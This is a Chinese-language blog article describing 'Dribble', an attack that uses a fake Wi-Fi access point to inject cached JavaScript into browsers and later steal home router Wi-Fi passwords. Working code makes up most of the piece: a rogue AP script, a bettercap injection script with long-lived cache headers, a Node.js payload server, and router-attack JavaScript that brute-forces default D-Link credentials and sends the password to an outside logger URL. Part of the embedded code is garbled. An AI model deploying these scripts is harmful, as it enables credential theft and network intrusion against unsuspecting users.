当前位置:首页 >> 网络编程

利用JavaScript缓存远程窃取Wi-Fi密码的思路详解

利用JavaScript缓存远程窃取Wi-Fi密码的思路详解

我一直想在这个小项目上花一些时间做一些研究,但是由于生活所迫让我总是一直繁忙。现在我终于可以抽出一些时间了继续研究这种攻击技术了,我将在本文中阐述我的研究成果。

很久以前,我学习了Vivek Ramachandran讲解的“无线局域网安全Megaprimer课程”(课程非常好,强烈推荐),顺便说一下,在我做旅行的时候,我住的那些不同的酒店都会提供Wi-Fi。毋庸置疑,我的大脑开始变得疯狂,因此我一直在思考获取Wi-Fi密码的“非常规”的方法。

Can't turn my brain off, you know."color: #ff0000">思路描述

我们的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目起一个名字,所以我在开发完这个项目后将其命名为“Dribble”:-)。Dribble 会创建一个虚假的Wi-Fi接入点,并等待客户端连接它。当客户端连接时,dribble会拦截对JavaScript页面执行的每个HTTP请求,并在响应中注入恶意JavaScript代码。新响应的HTTP头也会被更改,以便恶意的JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接到家庭路由器时,恶意JavaScript代码将激活,从路由器窃取Wi-Fi密码并将密码发送给攻击者。 很简单,对吧?

为了达到这个攻击目的,我必须弄清楚这三件事:

如何创建虚假接入点

  • 1.如何强迫人们连接到这个伪造的热点
  • 2.恶意的JavaScript代码应如何从路由器窃取密码
  • 3.如何创建虚假的无线接入点

这非常简单,伪造的方法也包含在无线局域网安全Megaprimer课程中,并且有许多不同的github存储库和gist上的代码可以用来创建一个虚假的访问点。因此,我不会过多地描述细节,但为了完整起见,让我们讨论一下我使用的方法。我之前使用 hostapd 创建过Wi-Fi接入点,dnsmasq 作为DHCP服务器和DNS中继服务器,并使用 iptables 创建NAT网络。下面的bash脚本将创建一个非常简单的不受任何密码保护的Wi-Fi访问点。我在代码中添加了一些注释,希望能提高可读性。

#!/bin/bash
# the internet interface
internet=eth0
# the wifi interface
phy=wlan0
# The ESSID
essid="TEST"
# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up
##################
# DNSMASQ
##################
echo "
interface=$phy
bind-interfaces
# Set default gateway
dhcp-option=3,10.0.0.1
# Set DNS servers to announce
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
# Upstream DNS server
server=8.8.8.8
server=8.8.4.4
" > tmp-dnsmasq.conf
# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf
##################
# IPTABLES
##################
# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward
# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd
interface=$phy
# ESSID
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
# all mac addresses allowed
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf
# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf

如何强迫人们连接到伪造的热点

免责声明:由于各种原因,我故意将本节的内容留在高级别的描述中而没有提供任何代码。但是,如果我的方法能得到足够多的关注并且确实有人对此感兴趣,我可能会进行更深入的讨论,或许会提供一些代码和实践指南。"color: #ff0000">创建并注入恶意载荷

现在我要说的是一个“略新”的思路(至少对我而言):弄清楚恶意JavaScript代码应该如何访问路由器并窃取Wi-Fi密码。请记住,受害者将连接到虚拟接入点,这显然给了攻击者一些机会,但仍有一些事情需要考虑清楚。

作为攻击测试的目标路由器,我使用了家用Wi-Fi路由器,特别是我的ISP免费提供的D-Link DVA-5592。不幸的是,目前我还没有其他可以测试的设备,所以我必须用它做好准备。

我们现在讨论的是恶意JavaScript代码。我们的目标是让这些恶意代码对路由器执行请求,这意味着它必须对本地IP地址执行请求。说到这里,你应该已经想到了诸如Same-Origin-Policy和X-Frame-Option之类的关键字。

同源-策略

让我借用MDN网络文档中的定义:

同源策略是一种关键的安全机制,它限制了从一个源加载的文档或脚本与来自另一个源的资源交互。它有助于隔离潜在的恶意文档,减少可能的攻击媒介。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
换句话说:如果域A包含JavaScript代码,则该JavaScript代码只能访问域A中的信息或域A的子域。它无法访问域B中的信息。

X-Frame-Option

让我再次从MDN Web文档中借用这个字段的定义:

X-Frame-Option 是一个HTTP响应头可用于指示浏览器是否应该允许在<frame>,<iframe>或<object>中渲染页面。站点可以通过这种机制确保其内容未嵌入到其他站点,并且可以使用此功能来避免点击劫持攻击。

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

这非常简单:X-Frame-Options 可用于防止页面在iframe标签中加载。

那么让我们看看我们请求D-Link登录页面后得到的响应:

HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182
<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>

响应包含X-Frame-Options并设置为了DENY(感谢上帝),这意味着如果我不能通过在iframe标签中渲染路由器主页。此外,由于恶意JavaScript代码将被注入到与路由器不同的域中,因此Same-Origin-Policy将阻止与路由器本身的任何交互。对于这些问题,我提出我所想到的一个简单的解决方案,不过注意我的方法可能不是唯一的解决方案,思路如下:

注入两段不同的JavaScript代码。第一段JavaScript代码将iframe在受感染的页面中添加内容。将iframe的src参数指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options设置为DENY。因此iframe将无法加载路由器的页面。但是,当创建iframe的JavaScript代码执行时,受害者仍然连接的是虚假访问点(还记得我前面提到的优势点吗?)。这意味着对路由器IP地址的请求将由虚假接入点处理……多么方便。因此,虚假接入点可以拦截对路由器IP地址执行的任何请求,并通过以下网页进行响应:

1.包含第二段JavaScript代码,这段代码将真正执行对真实路由器的请求
2.响应中没有X-Frame-Options HTTP 头
3.响应中包括用于缓存页面的HTTP头。

由于虚假接入点被当成了合法的路由器,因此浏览器将缓存一个页面,该域名是路由器的IP地址,从而绕过了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客户端回到家连接到家庭路由器时:

1.第一个JavaScript代码将添加一个iframe指向路由器的IP地址,
2.在iframe中会加载已缓存的包含了第二段恶意的JavaScript路由器主页
3.第二段恶意JavaScript会被执行并攻击路由器。

第一段恶意JavaScript非常简单,它只需附加一个iframe。第二段恶意JavaScript有点棘手,因为它必须执行多个HTTP请求来强制登录,然后访问包含Wi-Fi密码的页面并将密码发送给攻击者。在我测试D-Link时,登录请求如下所示:

POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh

这里的重要参数是:

1.userName这是admin(令人震惊);
2.userPwd 看起来是加密的;
3.nonce 这肯定与加密密码有关。

查看登录页面的源代码,我立即注意到了这一点:

document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);

这意味着登录需要CryptoJS库并从document.form.nonce.value中获取nonce 。有了这些信息,我可以轻松地创建一段小的JavaScript代码,这段代码会用一批用户名和密码尝试爆破用户名和密码然后登录后台。

进入路由器后,我需要寻找包含Wi-Fi密码的页面。D-Link DVA-5592中的当前固件会在用户登录到仪表板页面后立即以明文显示Wi-Fi密码(哦,我的天呐)。

利用JavaScript缓存远程窃取Wi-Fi密码的思路详解

此时我需要做的就是访问页面的HTML源码,获取Wi-Fi密码并将其发送到某个地方进行保存。现在让我们深入研究为D-Link量身定制的JavaScript恶意代码。

// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i"")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>2]>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f=
this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})();
// check if this is a D-Link
// This is a safe check that I put so that the payload won't try to attack something
// that is not a D-Link, the check could definetly be improbed but given that I
// only have this D-Link we will have to make it due ... for now
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra","true");
xhr.onload = function () {
  if(this.response.includes("D-LINK")){
   console.log("d-link");
   dlinkStart();
  }
  };
xhr.responseType = 'text'
xhr.send(null);
// The main function that starts the attack
function dlinkStart(){
 // List of possible usernames
 var usernames = ["administrator","Administrator","admin","Admin"];
 // List of possible passwords
 var passwords = ["password","admin","1234","","pwd"];
 // the array containing usernames and passwords comination
 var combos = [];
 var i = 0;
 // combines all possibile usernames and passwords and put it into combos
 for(var i = 0; i < usernames.length; i++)
 {
   for(var j = 0; j < passwords.length; j++)
   {
   combos.push({"user":usernames[i],"pwd":passwords[j]})
   }
 }
 function dlinkAttacker(user, passwd) {
  // first request to get the nonce
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://192.168.1.1/ui/login', true);
  xhr.onload = function () {
  if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
     // the current username to test
     var username = user
     // the current password to test
   var pwd = passwd
     // the nonce extracted from the web page
   var nonce = xhr.response.form.nonce.value
     // the password encrypted with nonce
   var encPwd = CryptoJS.HmacSHA256(pwd, nonce)
     // let's try to log in
   var xhr2 = new XMLHttpRequest();
   xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
   //Send the proper header information along with the request
   xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
   xhr2.onload = function () {
    if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
    try {
        // the comination usernamepassword was corrent, let's get the Wi-Fi password
     var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
        // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-)
        var xhr3 = new XMLHttpRequest();
        xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php"htmlcode">
// list of common router's IP .. which definitely requires improvement
var routers = ["192.168.1.1", "192.168.0.1"]
// this function is called when the response is 
// received and can be sent back to the client
function onResponse(req, res) {
 // inject only responses containing JavaScript
 if(res.ContentType.indexOf('application/javascript') == 0 ){
 console.log("caching");
 console.log(req.Hostname)
 var body = res.ReadBody();
 // set caching header
 res.SetHeader("Cache-Control","max-age=86400");
 res.SetHeader("Content-Type","text/html");
 res.SetHeader("Cache-Control","public, max-age=99936000");
 res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT");
 res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT");
 res.SetHeader("Access-Control-Allow-Origin:","*");
 // set payload
 var payload = "document.addEventListener("DOMContentLoaded", function(event){n";
 for(var i=0; i < routers.length; i++){
  payload = payload + "var ifrm = document.createElement('iframe');nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';ndocument.body.appendChild(ifrm);n";
 }
 payload = payload + "});";
 res.Body = body + payload;
 }
}

有一点值得注意的是,上面的代码中,JavaScript有效载荷会尝试为routers数组中的每个IP 加载一个iframe。这是因为家庭路由器的IP可能配置有所不同。这意味着Raspberry必须响应不同子网上的不同IP。为此,我只需向Raspberry的无线接口添加更多IP就行了。这样,无论加载iframe的代码何时执行,都会对公共路由器的IP地址执行请求,并且Raspberry的无线接口可以伪装成路由器,响应这些请求并缓存我想要的任何内容。

最后,我需要在Raspberry上搭建一个Web服务器,它可以监听无线接口并缓存攻击路由器的JavaScript代码。我先用Nginx做了一些测试,以确保这个想法有效,但最后我选择了Node.JS,主要是因为我还没有使用过Node.JS的HTTP服务器。

var http = require("http");
var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one 
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}
for (var i in jsob){
 // placing a / at the beginning is a bit of a lazy move
 repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}
var server = http.createServer(function(request, response) {
 var url = request.headers.host + request.url;
 console.log('Request: ' + url);
 console.log("REQUEST URL" + request.url);
 console.log(request.headers);
 var headers = {
  "Content-Type": "text/html",
  "Server": "dribble",
  "Cache-Control": "public, max-age=99936000",
  "Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
  "Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
  "Access-Control-Allow-Origin": "*"
 };
 // Cache the index page
 if (routers.includes(url))
 {
  console.log("cache until the end of time");
  response.writeHead(200, headers);
  response.write(index);
  response.end();
  return;
 }
 // cache the JavaScript payload
 else if (repobj[request.url]){
  console.log("cache JS until the end of time");
  headers["Content-Type"] = "application/javascript";
  response.writeHead(200, headers);
  response.write(repobj[request.url]);
  response.end();
  return;
 }
});
// listen on port 80
server.listen(80);

让我们测试一下效果……!

我自己已经做了一些攻击测试,但我想在更真实的环境中进行测试。但是,我不能在没有别人同意的情况下对任何人进行攻击尝试,所以首先我需要一个愿意参与这个小实验的受害者……所以我问我的女朋友。谈话是这样的:

太好了,既然我已经有了一个心甘情愿地决定参加这个小实验的受害者,那么是时候开始攻击并引诱她的iPhone 6连接到我的虚假接入点了。因此,我创建了一个和她之前访问过的某个WiFi一样的ESSID的虚假接入点,我知道她之前已经访问过(是的,受害者的情报也很有用,哈哈)的热点,很快她的iPhone连接到了我的虚拟接入点。

我让她在仍然连接到虚拟接入点的同时浏览网页并耐心地等待她进入一个只支持HTTP的网站。

He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)

最后,bettercap闪烁显示并打印出已经注入的东西,这意味着我不需要让她连接到我的接入点了。

利用JavaScript缓存远程窃取Wi-Fi密码的思路详解

因此,我关闭了我的接入点,导致她的手机漫游到我们的家庭Wi-Fi热点,并且由于她仍在浏览该网站,注入的恶意JavaScript代码已经执行完了,并将我家的Wi-Fi密码直接发送到了我的PHP页面。

利用JavaScript缓存远程窃取Wi-Fi密码的思路详解

总结

整个攻击过程用到的代码都可以在我的github上找到,这些代码肯定还需要改进,还应添加对新路由器的支持。如果我有机会测试其他的网络设备,我将会把它们添加到Git存储库中。各位,玩得开心……